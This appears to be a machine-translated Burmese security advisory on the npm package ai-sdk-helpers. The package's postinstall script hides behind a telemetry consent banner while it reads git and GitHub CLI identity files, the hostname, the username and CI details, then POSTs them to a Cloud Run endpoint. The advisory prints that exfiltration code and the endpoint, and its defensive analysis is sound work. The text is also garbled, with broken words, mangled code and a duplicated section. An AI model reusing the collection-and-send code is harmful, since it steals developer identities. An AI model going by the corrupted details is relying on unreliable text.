TL; DR
npm package တစ်ခုတည်း၊ ai-sdk-helpers များသည် Vercel AI SDK အတွက် production toolkit အဖြစ် တင်ဆက်ထားပြီး ကုန်ကျစရိတ်ခြေရာခံခြင်း၊ provider fallback နှင့် streaming helpers များကို ပေးဆောင်သည်။
၎င်း၏ install-time script သည် အောက်ပါအတိုင်း ချောမွေ့စွာ ဖော်ပြထားသော banner ဖြင့် စတင်သည်- အမည်မဖော်လိုသော ရောဂါရှာဖွေရေးsource code၊ tokens သို့မဟုတ် credentials များကို မပို့လွှတ်ကြောင်း ကတိပြုခြင်း၊ DO_NOT_TRACK ထွက်ခွာရန်နှင့် telemetry မူဝါဒစာမျက်နှာသို့ လင့်ခ်ချိတ်ခြင်း။
ထို့နောက် script တစ်ခုတည်းသည် developer ၏ git identity၊ GitHub CLI configuration၊ machine hostname၊ OS username၊ working directory နှင့် CI provider တို့ကို ဖတ်သည်။
ထိုဒေတာကို Google Cloud Run endpoint သို့ JSON အဖြစ် POST လုပ်ထားပြီး ဖော်ပြထားသော telemetry မူဝါဒနှင့် စုဆောင်းထားသော တကယ့် field များအကြား ထင်ရှားသော မကိုက်ညီမှုကို ဖန်တီးပေးသည်။
ပက်ကေ့ဂျ်ကို စက္ကန့် ၈၃ စက္ကန့်အတွင်း ဗားရှင်း ၂၂ မျိုးဖြင့် ထုတ်ဝေခဲ့ပြီး ထည့်သွင်းမှု script သည် အလံတင်ထားသော ဗားရှင်းတိုင်းတွင် byte-for-byte တူညီပါသည်။
ကျွန်ုပ်တို့၏ ပြန်လည်သုံးသပ်ထားသော ဗားရှင်းရှစ်ခုအနက် ခုနစ်ခု pipeline သဘောတူညီချက်-ဘန်နာ ပုံစံသည် တရားဝင် telemetry ကဲ့သို့ ဖတ်ရှုရသောကြောင့် ML အမျိုးအစားခွဲခြားသူက အပြီးအပြတ် မဆုံးဖြတ်နိုင်ဟု အမှတ်ပေးခဲ့သည်။
ကျွန်တော်တို့ အမျိုးအစားခွဲခြား ai-sdk-helpers ထည့်သွင်းချိန်အတွင်း ဆော့ဖ်ဝဲရေးသားသူ အထောက်အထား စုဆောင်းခြင်းနှင့် ခိုးယူခြင်းအပေါ် အခြေခံ၍ အန္တရာယ်ရှိသော အရာအဖြစ်။
ပြင်းထန်မှု: မြင့်မားသည်။
တပ်ဆင်မှု၏ခန္ဓာဗေဒ
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } တပ်ဆင်ပါ။ အလိုအလျောက်ဖွင့်ထားသည် npm install၊ ကြော်ငြာထားသော package ၏ မည်သည့်ကုဒ်ကိုမျှ import မလုပ်မီ။ script သည် scripts/postinstall.js install-time အပြုအမူအားလုံး တည်ရှိရာနေရာဖြစ်သည်။
၎င်းသည် မှတ်ချက်ဘလောက်တစ်ခုနှင့် privacy-conscious open-source ပရောဂျက်တစ်ခု၏ မှတ်ပုံတင်တွင် ရေးသားထားသော runtime notice ဖြင့် စတင်သည်-
>ai-sdk-helpers ကို ထည့်သွင်းသောအခါ၊ ကျွန်ုပ်တို့သည် ပတ်ဝန်းကျင် လိုက်ဖက်ညီမှု စစ်ဆေးမှုကို လျင်မြန်စွာ လုပ်ဆောင်ပြီး အမည်မဖော်လိုသော ရောဂါရှာဖွေရေးများကို အစီရင်ခံပါသည်... ဒေတာသည် လုံးဝ အမည်မဖော်လိုပါ - ကျွန်ုပ်တို့သည် သင်၏ platform၊ Node version နှင့် သင်၏ machine identifier ၏ one-way hash ကို စုဆောင်းပါသည်။ source code၊ tokens သို့မဟုတ် credentials များကို ဘယ်သောအခါမှ ပေးပို့မည်မဟုတ်ပါ။
၎င်းသည် အလုပ်လုပ်သော opt-out gate တစ်ခုကိုပင် ချိတ်ဆက်ပေးသည်၊ ၎င်းမှာ ဖိုင်ထဲတွင် ပထမဆုံး executable code ဖြစ်သည်။
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } ဒီဂိတ်ကို အရင်ချည်နှောင်ထားခြင်းအားဖြင့် ကျန်တာတွေကို သဘောတူညီချက်အဖြစ် ဖတ်ရှုနိုင်ပါတယ်- သတ်မှတ်ထားတဲ့ developer တစ်ယောက် `Dခြေရာမခံရ ထည့်သွင်းမှုကို တိတ်တဆိတ်ပြီးစီးစေပြီး package သည် သဘောတူညီချက်ကို လေးစားလိုက်နာကြောင်း နိဂုံးချုပ်သည်။ လေးစားခံရသော opt-out သည် အမှန်တကယ်ဖြစ်သည်။ ၎င်းကို မသတ်မှတ်သူတိုင်းအတွက် ၎င်းသည် အောက်တွင်ဖော်ပြထားသော collection ဖြစ်သည် - အသိပေးချက်တွင် ဖော်ပြထားသော ကျဉ်းမြောင်းသော “platform၊ Node version နှင့် one-way hash” မဟုတ်ပါ။
ထို gate အောက်တွင်၊ script သည် ထိုဖော်ပြချက်ထက် များစွာကျော်လွန်သော payload တစ်ခုကို စုစည်းသည်။
- *Gt ၏ အထောက်အထား။* rဖြေရှင်းScmအထောက်အထား အီးဒ်စ် ~.gitconfig`၊`~.config/git/config`၊နှင့် လက်ရှိပရောဂျက်၏ `။၎င်း/config`၊`[ ကို ခွဲခြမ်းစိတ်ဖြာသည်ဆာ]` ection ကို ပြန်ပေးပြီး configure လုပ်ထားတဲ့ဟာကို ပြန်ပေးပါတယ် commit အီးမေးလ်။ config ဖိုင်တစ်ခုမှ အီးမေးလ်မထွက်လာပါက၊ ၎င်းသည် `G´ သို့ ပြန်ရောက်သွားသည်T_AUTHOR_EMAIL`၊`GT_COMMITTER_EMAIL`၊နှင့် `အီးအိုင်အယ်လ် ပတ်ဝန်းကျင်ပြောင်းလဲမှုများ။ လုပ်ဆောင်ချက်အထက်ရှိ docstring သည် ဖတ်ရှုခြင်းကို "တူညီသောလူ (ဥပမာ laptop + CI) ပိုင်ဆိုင်သောစက်များတစ်လျှောက်တွင် ထပ်တူထည့်သွင်းမှုများကို ဖယ်ရှားရန်" နည်းလမ်းတစ်ခုအဖြစ် ဘောင်ခတ်ထားသည် - တည်ငြိမ်သော developer တစ်ဦးချင်းစီ၏ identifier လိုအပ်သည့် ဖော်ပြထားသောရည်ရွယ်ချက်တစ်ခုဖြစ်ပြီး commit အီးမေးလ်ပစ္စည်းများ။
- *GtHub အကောင့်။* rsolveGitHubIdentity()` အီးဒ်စ် ~.config/gh/hosts.yml` nd `~.config/gh/hosts.yaml` developer တစ်ယောက်က authenticate လုပ်တဲ့အခါ GitHub CLI မှရေးသားထားတဲ့ configuration file — ပြီးတော့ regex က `u` ကို extract လုပ်ပါတယ်အာ:` nd `eအေးလ်:` fields။ ထိုဖိုင်သည် GitHub OAuth token ကိုလည်း သိမ်းဆည်းသည်။ script ၏ regex သည် username နှင့် email လိုင်းများကို တိကျစွာ ပစ်မှတ်ထားပြီး token ကို မထုတ်ယူပါ။ ထို့ကြောင့် ထုတ်ဖော်ချက် banner ၏ “token များ… ဘယ်တော့မှ မပို့လွှတ်ပါ” ဟူသော ပြောဆိုချက်သည် ပတ်ဝန်းကျင်ရှိ အကောင့် identifier များကို ဖတ်ရှုပြီး ပေးပို့စဉ်တွင် ထို field အတွက် မှန်ကန်ပါသည်။
- *Hst နှင့် CI လက်ဗွေရာ။* script က `o ကို စုဆောင်းတယ်.hostname()`၊`o.userInfo().အသုံးပြုသူအမည်`,Node ဗားရှင်း၊ ပလက်ဖောင်းနှင့် ဗိသုကာ၊ `pocess.cwd()`,နှင့် ပံ့ပိုးပေးသူရှစ်ဦး (GitHub Actions၊ GitLab CI၊ Jenkins၊ CircleCI၊ Travis၊ Buildkite နှင့် generic-CI flags နှစ်ခု) အတွက် ပတ်ဝန်းကျင် variable များကို စစ်ဆေးခြင်းဖြင့် ဖြေရှင်းထားသော CI-provider label တစ်ခု။ ပံ့ပိုးပေးသူစာရင်းသည် script သည် မည်သည့်နေရာတွင် execute လုပ်ရန် မျှော်လင့်ထားသည် — interactive shells နှင့် automated build တို့၏ စာရင်းအဖြစ် ဖတ်ရှုရသည်။ pipelineအတူတူပါပဲ။
ဒါတွေအားလုံးကို တစ်စုတစ်စည်းတည်း စုစည်းထားပါတယ်ဘာသာမဲ့ဝါဒီများ bject၊ per-developer fields များကို `i အောက်တွင် စုဆောင်းထားသည်အရာဝတ္ထု ey နှင့် `r အောက်ရှိ host dataအချိန် nd `cntext` eys ကို စီးရီးလိုက်၍ ထုတ်လွှင့်သည်-
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); တုံ့ပြန်မှုကို စွန့်ပစ်ပြီး အမှားအားလုံးကို မျိုချလိုက်သည် - မှတ်ချက်တစ်ခုက “telemetry ကို ဘယ်တော့မှ install မလုပ်ရ” ဟု မှတ်ချက်ပြုထားသည်။ endpoint hostname သည် Google Cloud Run ဝန်ဆောင်မှုကို `e` တွင် encode လုပ်သည်ကြိုး-အနောက်ဘက်၁` အီဂွန်။
ကွာဟချက်က ဇာတ်လမ်းပါ။ ဘန်နာမှာ ဒေတာအမျိုးအစား သုံးမျိုးဖြစ်တဲ့ platform၊ Node version၊ machine-identifier hash တို့ကို ဖော်ပြထားပါတယ်။ payload က developer ရဲ့ တကယ့် git ကို ပို့ပေးပါတယ်။ commit အီးမေးလ်၊ ၎င်းတို့၏ GitHub အသုံးပြုသူအမည်နှင့် အီးမေးလ်၊ ၎င်းတို့၏ စက် hostname နှင့် OS အကောင့်အမည်၊ ၎င်းတို့၏ ပရောဂျက်လမ်းကြောင်းနှင့် ၎င်းတို့၏ CI ပတ်ဝန်းကျင်။ *p ကို ဖော်ထုတ်သည့် အကွက်များrson နှင့် ၎င်းတို့၏ အကောင့်များ* ထုတ်ဖော်မှုတွင် ချန်လှပ်ထားသော နယ်ပယ်များနှင့် အတိအကျသက်ဆိုင်သည်။
README သည် အခြားတစ်ဖက်မှ ဘောင်ခတ်မှုကို အားဖြည့်ပေးသည်။ ၎င်း၏ “Telemetry” အပိုင်းသည် အမည်မဖော်လိုမှုကို ပြန်လည်ပြောဆိုပြီး `D´ ဟူသော စကားလုံးကို ချိတ်ဆက်ပေးသည်။ခြေရာမခံရ အို `စီnsoledonottrack.com`၊အသိအမှတ်ပြုထားသော ကိုယ်ရေးကိုယ်တာ လျှို့ဝှက်ချက်ကို ငှားရမ်းခြင်းဖြင့် opt-out သဘောတူညီချက်ကို မှတ်တမ်းတင်သည့် တကယ့် အသိုင်းအဝိုင်း စာမျက်နှာ standard အသိပေးချက်ကို ပုံမှန်ဖတ်ရှုနိုင်ရန်။
timeline ကို
ဒါက ထုတ်ဝေမှုမှတ်တမ်းတိုတိုနဲ့ တစ်အုပ်တည်းသော တွေ့ရှိချက်ပါ။ ခြေရာခံဖို့ ရက်သတ္တပတ်များစွာကြာ ကမ်ပိန်း arc မရှိပါဘူး — ဗားရှင်းအပိုင်းအခြားတစ်ခုလုံးကို စက်ရဲ့အမြန်နှုန်းနဲ့ တွန်းအားပေးခဲ့တာပါ။
| ဘယ်အချိန်မှာ (UTC) | အဖြစ်အပျက် |
|---|---|
| 2026-06-03 20:31:20 | ပထမဗားရှင်း (0.1.0) npm တွင်ထုတ်ဝေသည်။ |
| 2026-06-03 20:31:20 – 20:32:43 | ဗားရှင်း ၂၂ ခုလုံး (0.1.0 ဖြတ်. 1.4.2) ကို ၈၃ စက္ကန့်ကြာ အလိုအလျောက် ထုတ်လွှင့်မှုဖြင့် ထုတ်ဝေခဲ့သည်။ |
| 2026-06-04 | ဗားရှင်းရှစ်ခုကို ထောက်လှမ်းမှုအချက်ပြမှုများဖြင့် အလံပြထားသည်။ ကိုယ်တိုင်ခွဲခြမ်းစိတ်ဖြာမှုသည် ထည့်သွင်းချိန်အတွင်း အထောက်အထားစုဆောင်းခြင်းနှင့် ထုတ်ယူခြင်းကို အတည်ပြုသည်။ ခွဲခြမ်းစိတ်ဖြာချိန်တွင် ပက်ကေ့ဂျ်သည် npm တွင် အသက်ဝင်နေခဲ့သည်။ |
အဓိပ္ပါယ်ဆိုင်ရာ ဗားရှင်း ၂၂ ခုအတွက် စက္ကန့် ၈၃ စက္ကန့်ကြာ ဘောင်သည်ပင် အပြုအမူဆိုင်ရာ အညွှန်းကိန်းတစ်ခုဖြစ်သည်- ဗားရှင်းလှေကား (`0)၅၂'၊`0၅၂'၊… `၁၄.၂`)script တစ်ခုတည်းဖြင့် ထုတ်လုပ်ထားသော release history ပါရှိသော တက်ကြွစွာ ထိန်းသိမ်းထားသော ပရောဂျက်တစ်ခု၏ မျက်နှာပြင်ကို တင်ပြသည်။ install script သည် ထို ladder တစ်လျှောက်တွင် မပြောင်းလဲပါ - အောက်တွင်ကြည့်ပါ။
ညှိနှိုင်းမှု၏ ညွှန်ပြချက်များ
ထည့်သွင်းချိန် payload သည် ထုတ်ဝေထားသော ဗားရှင်းအပိုင်းအခြားတစ်လျှောက်တွင် အတူတူပင်ဖြစ်သည်။ A `dff` f`s များripts/postinstall.js` ဗားရှင်း 0 ကြားတွင်၈၀၀၄၅` ဗားရှင်း ၁၈၀၀၄၅` ကွာခြားချက်များကို ပြန်မပေးပါ။ အပြုအမူသည် ပြောင်းလဲနေသော payload မဟုတ်ဘဲ ပုံသေလက်ဗွေရာတစ်ခုဖြစ်သည်။
Network
အဓိပ္ပါယ်ဆိုင်ရာ ဗားရှင်း ၂၂ ခုအတွက် စက္ကန့် ၈၃ စက္ကန့်ကြာ ဘောင်သည်ပင် အပြုအမူဆိုင်ရာ အညွှန်းကိန်းတစ်ခုဖြစ်သည်- ဗားရှင်းလှေကား (`0)၅၂'၊`0၅၂'၊… `၁၄.၂`)script တစ်ခုတည်းဖြင့် ထုတ်လုပ်ထားသော release history ပါရှိသော တက်ကြွစွာ ထိန်းသိမ်းထားသော ပရောဂျက်တစ်ခု၏ မျက်နှာပြင်ကို တင်ပြသည်။ install script သည် ထို ladder တစ်လျှောက်တွင် မပြောင်းလဲပါ - အောက်တွင်ကြည့်ပါ။
ညှိနှိုင်းမှု၏ ညွှန်ပြချက်များ
ထည့်သွင်းချိန် payload သည် ထုတ်ဝေထားသော ဗားရှင်းအပိုင်းအခြားတစ်လျှောက်တွင် အတူတူပင်ဖြစ်သည်။ A `dff` f`s များripts/postinstall.js` ဗားရှင်း 0 ကြားတွင်၈၀၀၄၅` ဗားရှင်း ၁၈၀၀၄၅` ကွာခြားချက်များကို ပြန်မပေးပါ။ အပြုအမူသည် ပြောင်းလဲနေသော payload မဟုတ်ဘဲ ပုံသေလက်ဗွေရာတစ်ခုဖြစ်သည်။
Network
| အညွှန်းကိန်း | အခန်းက္ပ |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | JSON payloads များဖြင့် HTTPS POST တောင်းဆိုမှုများကို လက်ခံရရှိသော Exfiltration endpoint။ Google Cloud Run တွင် Hosted လုပ်ထားသည်။ europe-west1 ဒေသ။ |
လှည့်စားသော အခြေခံအဆောက်အအုံ
| အညွှန်းကိန်း | အခန်းက္ပ |
|---|---|
ai-sdk.guide | "AI SDK Guide" စာရေးသူ၏ အထောက်အထားကို ကျောထောက်နောက်ခံပြုထားသည့် ပက်ကေ့ဂျ် ပင်မစာမျက်နှာနှင့် တိုက်ရိုက်ဝဘ်ဆိုက်။ |
ai-sdk.guide/telemetry | ထည့်သွင်းချိန်ထုတ်ဖော်ချက်တွင် ရည်ညွှန်းထားသော Telemetry မူဝါဒ URL။ |
hello@ai-sdk.guide | စာရေးသူ၏ အီးမေးလ်ကို ကြေငြာထားသည် package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | package မှ ကြေငြာထားသော source repository။ |
ဖိုင်များကို ထည့်သွင်းချိန်တွင် ဖတ်သည်
- -.gitconfig`၊`~.config/git/config`၊`<wd>/.git/config` git `[ဆာ]` စာပို့
- - .config/gh/hosts.yml`၊`~.config/gh/hosts.yaml` GitHub CLI `uအာ `eအေးလ်
အပြုအမူဆိုင်ရာ လက်မှတ်များ
- – အမ်ပီတပ်ဆင်ရန် ook သည် bundle Node script တစ်ခုကို invoice လုပ်ခြင်း
- – ရွေးချယ်ထွက်ခွင့်ဂိတ် (`A_SDK_HELPERS_TELEMETRY_DISABLED`၊`Dခြေရာမခံရပါမှတ်ပုံတင်စုဆောင်းခြင်းမပြုမီ ကိုယ်ရေးကိုယ်တာဆိုင်ရာအင်္ဂါရပ်အဖြစ် တင်ပြထားသည်
- – git email၊ GitHub identity၊ hostname၊ OS username၊ cwd နှင့် CI label ပါဝင်သော JSON object ၏ tbound HTTPS POST
- – အလျင်အမြန်ထုတ်ဝေထားသော ဗားရှင်းလှေကားတစ်လျှောက်တွင် တူညီသော ထည့်သွင်းမှု script
ရည်ညွှန်းချက်နှင့် လေ့လာတွေ့ရှိထားသော အပြုအမူ
ကျွန်ုပ်တို့သည် package နှင့် registry metadata မှတ်တမ်းထက်ကျော်လွန်၍ မည်သည့်အရာကိုမျှ မသတ်မှတ်ပါ။
မှတ်တမ်း၏ npm ထိန်းသိမ်းသူသည် အကောင့် `a ဖြစ်သည်အီယယ်ဆိုင်မွန်လိပ်စာနဲ့အတူiel@vigilance.security`.မှတ်ပုံတင်ရုံးက အဲဒီအီးမေးလ်ကို အတည်မပြုရသေးဘူးလို့ စာရင်းပြုစုထားပြီး အကောင့်ရဲ့ ရင်းမြစ်ထိန်းချုပ်မှုအထောက်အထားကို အတည်မပြုရသေးဘူးလို့ ဖော်ပြထားပါတယ်။ckage.json`၊သီးခြားစီ၊ စာရေးသူကို “AI SDK Guide ` အဖြစ် တင်ပြသည်ello@ai-sdk.guide>`”`a ၏ ပင်မစာမျက်နှာဖြင့်-sdk.လမ်းညွှန် `g အောက်ရှိ source repository တစ်ခုနှင့်thub.com/ai-sdk-guide` အဖွဲ့အစည်း။ ထုတ်ဝေသည့်အကောင့်၏ အီးမေးလ်ဒိုမိန်း (`vigilance.security`)နှင့် ပက်ကေ့ချ်အတွင်း ရေးသားသူ အထောက်အထား (`a-sdk.လမ်းညွှန်`)ဒိုမိန်းအမျိုးမျိုးရှိကြသည်။
အာ-sdk.လမ်းညွှန် ite သည် တိုက်ရိုက်ထုတ်လွှင့်နေပြီး တုံ့ပြန်သည်၊ ထို့အပြင် `/အီလက်ထရီယမ်မက်ထရီ ath က ဖြေရှင်းပေးသည် — လှည့်စားသော identity ကို dead link ထက် reachable web presence ဖြင့် ကျောထောက်နောက်ခံပြုထားပြီး package ရဲ့ framing ရဲ့ ယုံကြည်နိုင်မှုကို မြှင့်တင်ပေးပါတယ်။
**လေ့လာတွေ့ရှိနိုင်သော စွမ်းရည်။** ထည့်သွင်းချိန်တွင် package သည် developer identity နှင့် account-configuration ဖိုင်များကို ဖတ်ရှုပြီး host နှင့် CI environment ကို fingerprint လုပ်ကာ operator-controlled endpoint သို့ ရလဒ်ကို ပေးပို့ပြီး ကျဉ်းမြောင်းပြီး အမည်မဖော်လိုသော data set တစ်ခုကို ဖော်ပြသည့် notification ကို ပြသပါသည်။ ကျွန်ုပ်တို့သည် ဤအပြုအမူကို ဖော်ပြပါသည်။ ၎င်းအတွက် ရည်ရွယ်ချက်ကို ကျွန်ုပ်တို့ အတည်မပြုပါ။ package ကို အကဲဖြတ်သော စာဖတ်သူများ — ထုတ်ဝေသော identity ကို မှတ်မိသော မည်သည့်ပါတီမဆို — သည် ဖော်ပြထားသော data flow များနှင့် တကယ့် data flow များကြားတွင် တွေ့ရှိရသော မကိုက်ညီမှုကို ချိန်ဆသင့်သည်။
ကာကွယ်သူများအတွက် သက်ရောက်မှု၊ လမ်းကြောင်းများနှင့် လမ်းညွှန်ချက်များ
ဘယ်သူတွေ ပေါ်လွင်နေလဲ။ တပ်ဆင်သူတိုင်း ai-sdk-helpers များ — တိုက်ရိုက် သို့မဟုတ် transitive dependency အနေနဲ့ — သည် collection ကို ထိုစက်ပေါ်တွင် run သည်။ အဘယ်ကြောင့်ဆိုသော် trigger သည် တပ်ဆင်ပါ။ဒေတာစီးဆင်းမှုဖြစ်ပေါ်ရန် ကြော်ငြာထားသော library code ကို import လုပ်ရန်မလိုအပ်ပါ။ install လုပ်ရုံဖြင့် လုံလောက်ပါသည်။ အမြင့်ဆုံးတန်ဖိုးပတ်ဝန်းကျင်များမှာ configure လုပ်ထားသော git identity နှင့် authenticated GitHub CLI ရှိသော developer workstation များနှင့် script ၏ CI-provider detection သည် collection ကို build အတွင်းတွင် run ရန်မျှော်လင့်ထားကြောင်းညွှန်ပြသည့် CI runners များဖြစ်သည်။ pipelineလက်တော့ပ်များတွင်လည်း အသုံးပြုနိုင်ပါသည်။
၎င်းက ဘာကိုဖော်ထုတ်သလဲ။ ယေဘုယျကိစ္စတွင် အပလီကေးရှင်းလျှို့ဝှက်ချက်များမဟုတ်ပါ — ဝန်ထုပ်ဝန်ပိုးသည် ဝိသေသလက္ခဏာ: ဆော့ဖ်ဝဲရေးသားသူ၏ commit အီးမေးလ်၊ သူတို့ရဲ့ GitHub အကောင့်အမည်နဲ့ အီးမေးလ်၊ စက်နဲ့ အကောင့်အမည်တွေနဲ့ ပရောဂျက်လမ်းကြောင်း။ အဲဒါက ကြိုတင်သတ်မှတ်ချက်တစ်ခုပါ။cispackage ကို မည်သူထည့်သွင်းခဲ့သည်၊ မည်သည့်စက်ပေါ်တွင်၊ မည်သည့် repository တွင်နှင့် မည်သည့် CI စနစ်အောက်တွင် ထည့်သွင်းခဲ့သည်ဆိုသည့် e map။ အဖွဲ့အစည်းတစ်ခုအတွက်၊ ထိုကဲ့သို့သော မှတ်တမ်းအနည်းငယ်ကို စုစည်းထားခြင်းသည် မည်သည့်အင်ဂျင်နီယာများနှင့် မည်သည့်စနစ်များကို တည်ဆောက်ထားသည်ကို dependency ကို ဆွဲယူထားသည်ကို ရေတွက်ပေးမည်ဖြစ်ပြီး ဤ package ၏ကိုယ်ပိုင်အပြုအမူသည် စုဆောင်းခြင်းနှင့် ထုတ်လွှင့်ခြင်းတွင် ရပ်တန့်နေသော်လည်း ပိုမိုပစ်မှတ်ထားသော follow-on activity အတွက် ရှေ့ပြေးနိမိတ်အဖြစ် အသုံးဝင်ပါသည်။
ခေတ်ရေစီးကြောင်း- တယ်လီမက်ထရီကို ဖုံးကွယ်ထားသည်။ တရားဝင် developer tool များသည် အမည်မဖော်လိုသော install diagnostics များနှင့် ၎င်းကို လေးစားစွာလုပ်ဆောင်ရန် သဘောတူညီချက်များ — ထုတ်ဖော်အသိပေးချက်၊ မလိုက်လုပ်ရန် honor၊ opt-out flag၊ policy URL — တို့ကို လူသိများကြသည်။ ai-sdk-helpers များ ထိုကွန်ဗင်းရှင်းလေးခုလုံးကို သစ္စာရှိရှိ ပြန်လည်ထုတ်လုပ်ပြီး ၎င်းတို့ကို မှတ်ပုံတင်စုဆောင်းခြင်းအတွက် အဖုံးအဖြစ် အသုံးပြုသည်။ သဘောတူညီချက် ဘန်နာ၊ အလုပ်လုပ်သော opt-out သို့မဟုတ် privacy-policy link ရှိနေခြင်းသည် package တစ်ခုသည် ယုံကြည်စိတ်ချရကြောင်း သက်သေမပြနိုင်ပါ။ ထိုထိန်းချုပ်မှုများသည် တုပရန် ဈေးသက်သာသည်။ ယုံကြည်စိတ်ချရသော စစ်ဆေးမှုတစ်ခုတည်းမှာ ကုဒ်က တကယ်ဖတ်သည့်အရာနှင့် တကယ်ပို့သည့်နေရာဖြစ်သည်။
ဤထုပ်ပိုးမှုသည် အလိုအလျောက်ခွဲခြားခြင်းအပေါ်တွင်လည်း တိုင်းတာနိုင်သော အကျိုးသက်ရောက်မှုရှိသည်။ ကျွန်ုပ်တို့၏ ဗားရှင်းများတစ်လျှောက်တွင် pipeline ပြန်လည်သုံးသပ်ပြီးလျှင်၊ install script ၏ ရိုးရှင်းသောဘာသာစကား မှတ်ချက်များ၊ ဖွဲ့စည်းတည်ဆောက်ထားသော field အမည်များနှင့် ရိုးရာ opt-out gate တို့ကို သာမန် telemetry အဖြစ် အမှတ်ပေးခဲ့သည်- ရှစ်ခုအနက် ခုနစ်ခု ပြန်လည်ရောက်ရှိလာခဲ့သည် အဆုံးအပြီးမရှိသော အန္တရာယ်ရှိတဲ့ ရည်ရွယ်ချက်ရှိရှိ လုပ်ဆောင်မယ့်အစား ML အမျိုးအစားခွဲခြားကိရိယာကနေ လာတာ။ မရေမရာမှုကို ဖြေရှင်းပေးတဲ့ အချက်ပြမှုက စကားပြေမှာ မဟုတ်ပါဘူး — script ဖွင့်တဲ့ သီးခြားဖိုင်တွေမှာပါ (~/.gitconfig, ~/.config/gh/hosts.yml) နှင့် ၎င်းပေးပို့မည့်နေရာ။ ထုတ်ဖော်ချက်ကိုဖတ်ပြီး ထိုနေရာတွင်ရပ်တန့်သော အလိုအလျောက် သို့မဟုတ် လူသား ပြန်လည်သုံးသပ်သူသည် မှားယွင်းသော နိဂုံးချုပ်ချက်သို့ ရောက်ရှိလိမ့်မည်။ ဆုံးဖြတ်ချက်သည် အချက်အလက်စီးဆင်းမှုအချက်အလက်များမှ လာရမည်။
ကာကွယ်သူများအတွက် လမ်းညွှန်ချက်-
- မူရင်းအားဖြင့် script များကို ပိတ်ထားပြီး ထည့်သွင်းပါ — npm install – လျစ်လျူရှုထားသော script များသို့မဟုတ် သတ်မှတ်သည် လျစ်လျူရှု-scripts=မှန်သည် in .npmrc နှင့် စစ်ဆေးပြီးသော တည်ဆောက်မှုအဆင့်များကို ရှင်းလင်းစွာ လုပ်ဆောင်ပါ။ ၎င်းသည် ပျက်ပြယ်စေသည် တပ်ဆင်ပါ။- အစုအဖွဲ့တစ်ခုလုံးတွင် စုဆောင်းမှုကို လှုံ့ဆော်ပေးခဲ့သည်။
- ထွက်ခွာရန် ရွေးချယ်ခြင်း ထိန်းချုပ်မှုများကို ယုံကြည်မှု လက္ခဏာများအဖြစ် မယူဆပါနှင့်။ မလိုက်လုပ်ရန် စစ်ဆေးခြင်း သို့မဟုတ် “telemetry မူဝါဒ” လင့်ခ်သည် ဂိတ်ကို မသတ်မှတ်သည့်အခါ script မှ စုဆောင်းသောဒေတာအကြောင်း ဘာမှမပြောပါ။
- AI-ecosystem helper package များကို မသုံးစွဲမီ install hook ကို ဖတ်ရှုပါ။ Vercel AI SDK နေရာသည် အလျင်အမြန် တိုးတက်နေပြီး ယုံကြည်မှုမြင့်မားသော ပစ်မှတ်တစ်ခုဖြစ်သည်။ တပ်ဆင်ပါ။ ထိမိသောအရာ ~/.gitconfig or ~/.config/gh/ ပတ်ဝန်းကျင်ရှိ မှတ်ချက်များကို မည်သို့ရေးသားထားသည်ကို ထည့်သွင်းစဉ်းစားခြင်းမရှိပါက ရှင်းလင်းသော အချက်ပြမှုတစ်ခုဖြစ်သည်။
- တည်ဆောက်ချိန် ထွက်ခွာမှုကို စောင့်ကြည့်ပါ။ အတွင်း HTTPS POST ထွက်သွားသည် npm installအထူးသဖြင့် အသစ်ပြင်ဆင်ထားသော cloud-function endpoint သို့ ၎င်းကို network layer တွင် မြင်နိုင်ပြီး CI ပတ်ဝန်းကျင်များအတွက် အားကောင်းသော ထောက်လှမ်းမှုအမှတ်တစ်ခုဖြစ်သည်။
- ချုံ့ထားသော ဗားရှင်း ladders များကို သတိပြုပါ။ semantic-version history တစ်ခုလုံးကို စက္ကန့်ပိုင်းအတွင်း မပြောင်းလဲသော install script ဖြင့် ပေါ်လာသည့် package တစ်ခုသည် manufactured maintenance history ကို ပြသနေပါသည်။





